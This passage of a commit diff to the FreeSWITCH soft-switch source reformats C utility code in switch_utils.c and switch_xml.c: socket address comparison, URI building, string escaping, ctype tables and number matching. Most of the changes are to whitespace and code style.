- s1 = (struct sockaddr_in *)&sa1->sa;
- s2 = (struct sockaddr_in *)&sa2->sa;
+ s1 = (struct sockaddr_in *) &sa1->sa;
+ s2 = (struct sockaddr_in *) &sa2->sa;
- s16 = (struct sockaddr_in6 *)&sa1->sa;
- s26 = (struct sockaddr_in6 *)&sa2->sa;
+ s16 = (struct sockaddr_in6 *) &sa1->sa;
+ s26 = (struct sockaddr_in6 *) &sa2->sa;
- ss1 = (struct sockaddr *)&sa1->sa;
- ss2 = (struct sockaddr *)&sa2->sa;
-
- if (ss1->sa_family != ss2->sa_family) return 0;
+ ss1 = (struct sockaddr *) &sa1->sa;
+ ss2 = (struct sockaddr *) &sa2->sa;
+ if (ss1->sa_family != ss2->sa_family)
+ return 0;
+
switch (ss1->sa_family) {
case AF_INET:
- return (s1->sin_addr.s_addr == s2->sin_addr.s_addr && s1->sin_port == s2->sin_port);
+ return (s1->sin_addr.s_addr == s2->sin_addr.s_addr && s1->sin_port == s2->sin_port);
case AF_INET6:
if (s16->sin6_addr.s6_addr && s26->sin6_addr.s6_addr) {
int i;
- if (s16->sin6_port != s26->sin6_port) return 0;
+ if (s16->sin6_port != s26->sin6_port)
+ return 0;
- for(i = 0; i < 4; i++) {
- if (*((int32_t *)s16->sin6_addr.s6_addr + i) != *((int32_t *)s26->sin6_addr.s6_addr + i)) return 0;
+ for (i = 0; i < 4; i++) {
+ if (*((int32_t *) s16->sin6_addr.s6_addr + i) != *((int32_t *) s26->sin6_addr.s6_addr + i))
+ return 0;
}
return 1;
}
}
-
- return 0;
+
+ return 0;
}
@@ -1428,7 +1430,7 @@
*buf = '\0';
if (sa) {
- getnameinfo(sa, salen, buf, (socklen_t)len, NULL, 0, NI_NUMERICHOST);
+ getnameinfo(sa, salen, buf, (socklen_t) len, NULL, 0, NI_NUMERICHOST);
}
return buf;
}
@@ -1438,23 +1440,18 @@
unsigned short port = 0;
if (sa) {
switch (sa->sa_family) {
- case AF_INET:
- port = ntohs(((struct sockaddr_in*)sa)->sin_port);
- break;
- case AF_INET6:
- port = ntohs(((struct sockaddr_in6*)sa)->sin6_port);
- break;
+ case AF_INET:
+ port = ntohs(((struct sockaddr_in *) sa)->sin_port);
+ break;
+ case AF_INET6:
+ port = ntohs(((struct sockaddr_in6 *) sa)->sin6_port);
+ break;
}
}
return port;
}
-SWITCH_DECLARE(int) switch_build_uri(char *uri,
- switch_size_t size,
- const char *scheme,
- const char *user,
- const switch_sockaddr_t *sa,
- int flags)
+SWITCH_DECLARE(int) switch_build_uri(char *uri, switch_size_t size, const char *scheme, const char *user, const switch_sockaddr_t *sa, int flags)
{
char host[NI_MAXHOST], serv[NI_MAXSERV];
struct sockaddr_in6 si6;
@@ -1465,22 +1462,20 @@
memcpy(&si6, &sa->sa, sa->salen);
si6.sin6_scope_id = 0;
- addr = (const struct sockaddr*) &si6;
+ addr = (const struct sockaddr *) &si6;
} else {
- addr = (const struct sockaddr*) (intptr_t)&sa->sa;
+ addr = (const struct sockaddr *) (intptr_t) & sa->sa;
}
if (getnameinfo(addr, sa->salen, host, sizeof(host), serv, sizeof(serv),
- ((flags & SWITCH_URI_NUMERIC_HOST) ? NI_NUMERICHOST : 0) | ((flags & SWITCH_URI_NUMERIC_PORT) ? NI_NUMERICSERV : 0)) != 0) {
- return 0;
+ ((flags & SWITCH_URI_NUMERIC_HOST) ? NI_NUMERICHOST : 0) | ((flags & SWITCH_URI_NUMERIC_PORT) ? NI_NUMERICSERV : 0)) != 0) {
+ return 0;
}
colon = strchr(host, ':');
return switch_snprintf(uri, size, "%s:%s%s%s%s%s%s%s", scheme,
- user ? user : "", user ? "@" : "",
- colon ? "[" : "", host, colon ? "]" : "",
- serv[0] ? ":" : "", serv[0] ? serv : "");
+ user ? user : "", user ? "@" : "", colon ? "[" : "", host, colon ? "]" : "", serv[0] ? ":" : "", serv[0] ? serv : "");
}
SWITCH_DECLARE(char) switch_rfc2833_to_char(int event)
@@ -1581,43 +1576,43 @@
{
const char *p;
char *o = out;
-
- for(p = in; *p; p++) {
- switch(*p) {
- case '\n':
- *o++ = '\\';
- *o++ = 'n';
- break;
- case '\r':
- *o++ = '\\';
- *o++ = 'r';
- break;
- case '\t':
- *o++ = '\\';
- *o++ = 't';
- break;
- case ' ':
- *o++ = '\\';
- *o++ = 's';
- break;
- case '$':
- *o++ = '\\';
- *o++ = '$';
- break;
- default:
- *o++ = *p;
- break;
+
+ for (p = in; *p; p++) {
+ switch (*p) {
+ case '\n':
+ *o++ = '\\';
+ *o++ = 'n';
+ break;
+ case '\r':
+ *o++ = '\\';
+ *o++ = 'r';
+ break;
+ case '\t':
+ *o++ = '\\';
+ *o++ = 't';
+ break;
+ case ' ':
+ *o++ = '\\';
+ *o++ = 's';
+ break;
+ case '$':
+ *o++ = '\\';
+ *o++ = '$';
+ break;
+ default:
+ *o++ = *p;
+ break;
}
}
*o++ = '\0';
- return out;
+ return out;
}
-SWITCH_DECLARE(char*) switch_escape_string_pool(const char *in, switch_memory_pool_t *pool)
+SWITCH_DECLARE(char *) switch_escape_string_pool(const char *in, switch_memory_pool_t *pool)
{
- int len = strlen(in)*2;
+ int len = strlen(in) * 2;
char *buf = switch_core_alloc(pool, len);
return switch_escape_string(in, buf, len);
}
@@ -1639,7 +1634,7 @@
for (start = dest = ptr; *ptr; ++ptr) {
char e;
int esc = 0;
-
+
if (*ptr == ESCAPE_META) {
e = *(ptr + 1);
if (e == '\'' || e == '"' || (delim && e == delim) || e == ESCAPE_META || (e = unescape_char(*(ptr + 1))) != *(ptr + 1)) {
@@ -1672,15 +1667,16 @@
unsigned int count = 0;
char *d;
size_t dlen = strlen(delim);
-
+
array[count++] = buf;
- while (count < arraylen && array[count-1]) {
- if ((d = strstr(array[count-1], delim))) {
+ while (count < arraylen && array[count - 1]) {
+ if ((d = strstr(array[count - 1], delim))) {
*d = '\0';
d += dlen;
array[count++] = d;
- } else break;
+ } else
+ break;
}
return count;
@@ -1876,7 +1872,7 @@
size_t string_len = strlen(string);
size_t i;
size_t n = 0;
- size_t dest_len = string_len + 1; /* +1 for the opening quote */
+ size_t dest_len = string_len + 1; /* +1 for the opening quote */
char *dest, *tmp;
dest = (char *) malloc(sizeof(char) * dest_len);
@@ -1898,7 +1894,7 @@
#else
case '\'':
/* We replace ' by '\'' */
- dest_len+=3;
+ dest_len += 3;
tmp = (char *) realloc(dest, sizeof(char) * (dest_len));
switch_assert(tmp);
dest = tmp;
@@ -1911,9 +1907,9 @@
default:
dest[n++] = string[i];
}
- }
-
- dest_len += 2; /* +2 for the closing quote and the null character */
+ }
+
+ dest_len += 2; /* +2 for the closing quote and the null character */
tmp = (char *) realloc(dest, sizeof(char) * (dest_len));
switch_assert(tmp);
dest = tmp;
@@ -2000,96 +1996,96 @@
const short _switch_C_toupper_[1 + SWITCH_CTYPE_NUM_CHARS] = {
EOF,
- 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
- 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
- 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
- 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,
- 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
- 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f,
- 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
- 0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f,
- 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,
- 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f,
- 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57,
- 0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f,
- 0x60, 'A', 'B', 'C', 'D', 'E', 'F', 'G',
- 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O',
- 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
- 'X', 'Y', 'Z', 0x7b, 0x7c, 0x7d, 0x7e, 0x7f,
- 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,
- 0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f,
- 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,
- 0x98, 0x99, 0x9a, 0x9b, 0x9c, 0x9d, 0x9e, 0x9f,
- 0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7,
- 0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf,
- 0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7,
- 0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf,
- 0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7,
- 0xc8, 0xc9, 0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf,
- 0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7,
- 0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf,
- 0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7,
- 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef,
- 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7,
- 0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff
+ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
+ 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
+ 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
+ 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,
+ 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
+ 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f,
+ 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
+ 0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f,
+ 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,
+ 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f,
+ 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57,
+ 0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f,
+ 0x60, 'A', 'B', 'C', 'D', 'E', 'F', 'G',
+ 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O',
+ 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
+ 'X', 'Y', 'Z', 0x7b, 0x7c, 0x7d, 0x7e, 0x7f,
+ 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,
+ 0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f,
+ 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,
+ 0x98, 0x99, 0x9a, 0x9b, 0x9c, 0x9d, 0x9e, 0x9f,
+ 0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7,
+ 0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf,
+ 0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7,
+ 0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf,
+ 0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7,
+ 0xc8, 0xc9, 0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf,
+ 0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7,
+ 0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf,
+ 0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7,
+ 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef,
+ 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7,
+ 0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff
};
const short *_switch_toupper_tab_ = _switch_C_toupper_;
SWITCH_DECLARE(int) switch_toupper(int c)
{
- if ((unsigned int)c > 255)
- return(c);
+ if ((unsigned int) c > 255)
+ return (c);
if (c < -1)
return EOF;
- return((_switch_toupper_tab_ + 1)[c]);
+ return ((_switch_toupper_tab_ + 1)[c]);
}
const short _switch_C_tolower_[1 + SWITCH_CTYPE_NUM_CHARS] = {
EOF,
- 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
- 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
- 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
- 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,
- 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
- 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f,
- 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
- 0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f,
- 0x40, 'a', 'b', 'c', 'd', 'e', 'f', 'g',
- 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',
- 'p', 'q', 'r', 's', 't', 'u', 'v', 'w',
- 'x', 'y', 'z', 0x5b, 0x5c, 0x5d, 0x5e, 0x5f,
- 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,
- 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f,
- 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
- 0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f,
- 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,
- 0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f,
- 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,
- 0x98, 0x99, 0x9a, 0x9b, 0x9c, 0x9d, 0x9e, 0x9f,
- 0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7,
- 0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf,
- 0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7,
- 0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf,
- 0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7,
- 0xc8, 0xc9, 0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf,
- 0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7,
- 0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf,
- 0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7,
- 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef,
- 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7,
- 0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff
+ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
+ 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
+ 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
+ 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,
+ 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
+ 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f,
+ 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
+ 0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f,
+ 0x40, 'a', 'b', 'c', 'd', 'e', 'f', 'g',
+ 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',
+ 'p', 'q', 'r', 's', 't', 'u', 'v', 'w',
+ 'x', 'y', 'z', 0x5b, 0x5c, 0x5d, 0x5e, 0x5f,
+ 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,
+ 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f,
+ 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
+ 0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f,
+ 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,
+ 0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f,
+ 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,
+ 0x98, 0x99, 0x9a, 0x9b, 0x9c, 0x9d, 0x9e, 0x9f,
+ 0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7,
+ 0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf,
+ 0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7,
+ 0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf,
+ 0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7,
+ 0xc8, 0xc9, 0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf,
+ 0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7,
+ 0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf,
+ 0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7,
+ 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef,
+ 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7,
+ 0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff
};
const short *_switch_tolower_tab_ = _switch_C_tolower_;
SWITCH_DECLARE(int) switch_tolower(int c)
{
- if ((unsigned int)c > 255)
- return(c);
+ if ((unsigned int) c > 255)
+ return (c);
if (c < -1)
return EOF;
- return((_switch_tolower_tab_ + 1)[c]);
+ return ((_switch_tolower_tab_ + 1)[c]);
}
/*
@@ -2146,136 +2142,136 @@
const int _switch_C_ctype_[1 + SWITCH_CTYPE_NUM_CHARS] = {
0,
- _C, _C, _C, _C, _C, _C, _C, _C,
- _C, _C|_S, _C|_S, _C|_S, _C|_S, _C|_S, _C, _C,
- _C, _C, _C, _C, _C, _C, _C, _C,
- _C, _C, _C, _C, _C, _C, _C, _C,
- _S|_B, _P, _P, _P, _P, _P, _P, _P,
- _P, _P, _P, _P, _P, _P, _P, _P,
- _N, _N, _N, _N, _N, _N, _N, _N,
- _N, _N, _P, _P, _P, _P, _P, _P,
- _P, _U|_X, _U|_X, _U|_X, _U|_X, _U|_X, _U|_X, _U,
- _U, _U, _U, _U, _U, _U, _U, _U,
- _U, _U, _U, _U, _U, _U, _U, _U,
- _U, _U, _U, _P, _P, _P, _P, _P,
- _P, _L|_X, _L|_X, _L|_X, _L|_X, _L|_X, _L|_X, _L,
- _L, _L, _L, _L, _L, _L, _L, _L,
- _L, _L, _L, _L, _L, _L, _L, _L,
+ _C, _C, _C, _C, _C, _C, _C, _C,
+ _C, _C | _S, _C | _S, _C | _S, _C | _S, _C | _S, _C, _C,
+ _C, _C, _C, _C, _C, _C, _C, _C,
+ _C, _C, _C, _C, _C, _C, _C, _C,
+ _S | _B, _P, _P, _P, _P, _P, _P, _P,
+ _P, _P, _P, _P, _P, _P, _P, _P,
+ _N, _N, _N, _N, _N, _N, _N, _N,
+ _N, _N, _P, _P, _P, _P, _P, _P,
+ _P, _U | _X, _U | _X, _U | _X, _U | _X, _U | _X, _U | _X, _U,
+ _U, _U, _U, _U, _U, _U, _U, _U,
+ _U, _U, _U, _U, _U, _U, _U, _U,
+ _U, _U, _U, _P, _P, _P, _P, _P,
+ _P, _L | _X, _L | _X, _L | _X, _L | _X, _L | _X, _L | _X, _L,
+ _L, _L, _L, _L, _L, _L, _L, _L,
+ _L, _L, _L, _L, _L, _L, _L, _L,
/* determine printability based on the IS0 8859 8-bit standard */
- _L, _L, _L, _P, _P, _P, _P, _C,
+ _L, _L, _L, _P, _P, _P, _P, _C,
- _C, _C, _C, _C, _C, _C, _C, _C, /* 80 */
- _C, _C, _C, _C, _C, _C, _C, _C, /* 88 */
- _C, _C, _C, _C, _C, _C, _C, _C, /* 90 */
- _C, _C, _C, _C, _C, _C, _C, _C, /* 98 */
- _P, _P, _P, _P, _P, _P, _P, _P, /* A0 */
- _P, _P, _P, _P, _P, _P, _P, _P, /* A8 */
- _P, _P, _P, _P, _P, _P, _P, _P, /* B0 */
- _P, _P, _P, _P, _P, _P, _P, _P, /* B8 */
- _P, _P, _P, _P, _P, _P, _P, _P, /* C0 */
- _P, _P, _P, _P, _P, _P, _P, _P, /* C8 */
- _P, _P, _P, _P, _P, _P, _P, _P, /* D0 */
- _P, _P, _P, _P, _P, _P, _P, _P, /* D8 */
- _P, _P, _P, _P, _P, _P, _P, _P, /* E0 */
- _P, _P, _P, _P, _P, _P, _P, _P, /* E8 */
- _P, _P, _P, _P, _P, _P, _P, _P, /* F0 */
- _P, _P, _P, _P, _P, _P, _P, _P /* F8 */
+ _C, _C, _C, _C, _C, _C, _C, _C, /* 80 */
+ _C, _C, _C, _C, _C, _C, _C, _C, /* 88 */
+ _C, _C, _C, _C, _C, _C, _C, _C, /* 90 */
+ _C, _C, _C, _C, _C, _C, _C, _C, /* 98 */
+ _P, _P, _P, _P, _P, _P, _P, _P, /* A0 */
+ _P, _P, _P, _P, _P, _P, _P, _P, /* A8 */
+ _P, _P, _P, _P, _P, _P, _P, _P, /* B0 */
+ _P, _P, _P, _P, _P, _P, _P, _P, /* B8 */
+ _P, _P, _P, _P, _P, _P, _P, _P, /* C0 */
+ _P, _P, _P, _P, _P, _P, _P, _P, /* C8 */
+ _P, _P, _P, _P, _P, _P, _P, _P, /* D0 */
+ _P, _P, _P, _P, _P, _P, _P, _P, /* D8 */
+ _P, _P, _P, _P, _P, _P, _P, _P, /* E0 */
+ _P, _P, _P, _P, _P, _P, _P, _P, /* E8 */
+ _P, _P, _P, _P, _P, _P, _P, _P, /* F0 */
+ _P, _P, _P, _P, _P, _P, _P, _P /* F8 */
};
const int *_switch_ctype_ = _switch_C_ctype_;
SWITCH_DECLARE(int) switch_isalnum(int c)
{
- return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] & (_U|_L|_N)));
+ return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] & (_U | _L | _N)));
}
SWITCH_DECLARE(int) switch_isalpha(int c)
{
- return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] & (_U|_L)));
+ return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] & (_U | _L)));
}
SWITCH_DECLARE(int) switch_iscntrl(int c)
{
- return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] & _C));
+ return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] & _C));
}
SWITCH_DECLARE(int) switch_isdigit(int c)
{
- return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] & _N));
+ return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] & _N));
}
SWITCH_DECLARE(int) switch_isgraph(int c)
{
- return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] & (_P|_U|_L|_N)));
+ return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] & (_P | _U | _L | _N)));
}
SWITCH_DECLARE(int) switch_islower(int c)
{
- return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] & _L));
+ return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] & _L));
}
SWITCH_DECLARE(int) switch_isprint(int c)
{
- return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] & (_P|_U|_L|_N|_B)));
+ return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] & (_P | _U | _L | _N | _B)));
}
SWITCH_DECLARE(int) switch_ispunct(int c)
{
- return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] & _P));
+ return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] & _P));
}
SWITCH_DECLARE(int) switch_isspace(int c)
{
- return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] & _S));
+ return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] & _S));
}
SWITCH_DECLARE(int) switch_isupper(int c)
{
- return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] & _U));
+ return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] & _U));
}
SWITCH_DECLARE(int) switch_isxdigit(int c)
{
- return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] & (_N|_X)));
+ return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] & (_N | _X)));
}
SWITCH_DECLARE(int) switch_number_cmp(const char *exp, int val)
{
- char *p;
-
- if ((p=strchr(exp, '-'))) {
- int min;
- int max;
+ char *p;
- min = atol(exp);
- p++;
- max = atol(p);
+ if ((p = strchr(exp, '-'))) {
+ int min;
+ int max;
- if (val >= min && val <= max) {
- return 1;
- }
- } else if ((p=strchr(exp, ','))) {
- const char *cur = exp;
+ min = atol(exp);
p++;
- while(cur) {
- if (atol(cur) == val) {
- return 1;
- }
-
- cur = p;
- if (p && p+1) {
- if ((p = strchr((p+1), ','))) {
+ max = atol(p);
+
+ if (val >= min && val <= max) {
+ return 1;
+ }
+ } else if ((p = strchr(exp, ','))) {
+ const char *cur = exp;
+ p++;
+ while (cur) {
+ if (atol(cur) == val) {
+ return 1;
+ }
+
+ cur = p;
+ if (p && p + 1) {
+ if ((p = strchr((p + 1), ','))) {
p++;
}
}
- }
- } else {
- if (atol(exp) == val) {
- return 1;
- }
- }
+ }
+ } else {
+ if (atol(exp) == val) {
+ return 1;
+ }
+ }
- return 0;
+ return 0;
}
Modified: freeswitch/trunk/src/switch_xml.c (16578 => 16579)
--- freeswitch/trunk/src/switch_xml.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_xml.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -63,13 +63,13 @@
#include <apr_file_io.h>
typedef struct {
- size_t gl_pathc; /* Count of total paths so far. */
- size_t gl_matchc; /* Count of paths matching pattern. */
- size_t gl_offs; /* Reserved at beginning of gl_pathv. */
- int gl_flags; /* Copy of flags parameter to glob. */
- char **gl_pathv; /* List of paths matching pattern. */
+ size_t gl_pathc; /* Count of total paths so far. */
+ size_t gl_matchc; /* Count of paths matching pattern. */
+ size_t gl_offs; /* Reserved at beginning of gl_pathv. */
+ int gl_flags; /* Copy of flags parameter to glob. */
+ char **gl_pathv; /* List of paths matching pattern. */
/* Copy of errfunc parameter to glob. */
- int (*gl_errfunc)(const char *, int);
+ int (*gl_errfunc) (const char *, int);
} glob_t;
/* Believed to have been introduced in 1003.2-1992 */
@@ -92,7 +92,7 @@
#define GLOB_QUOTE 0x0400 /* Quote special chars with \. */
#define GLOB_LIMIT 0x1000 /* limit number of returned paths */
-int glob(const char *, int, int (*)(const char *, int), glob_t *);
+int glob(const char *, int, int (*)(const char *, int), glob_t *);
void globfree(glob_t *);
#endif
@@ -105,7 +105,7 @@
#endif
#define SWITCH_XML_WS "\t\r\n " /* whitespace */
-#define SWITCH_XML_ERRL 128 /* maximum error string length */
+#define SWITCH_XML_ERRL 128 /* maximum error string length */
static int preprocess(const char *cwd, const char *file, int write_fd, int rlevel);
@@ -166,7 +166,7 @@
char buf[1024] = "";
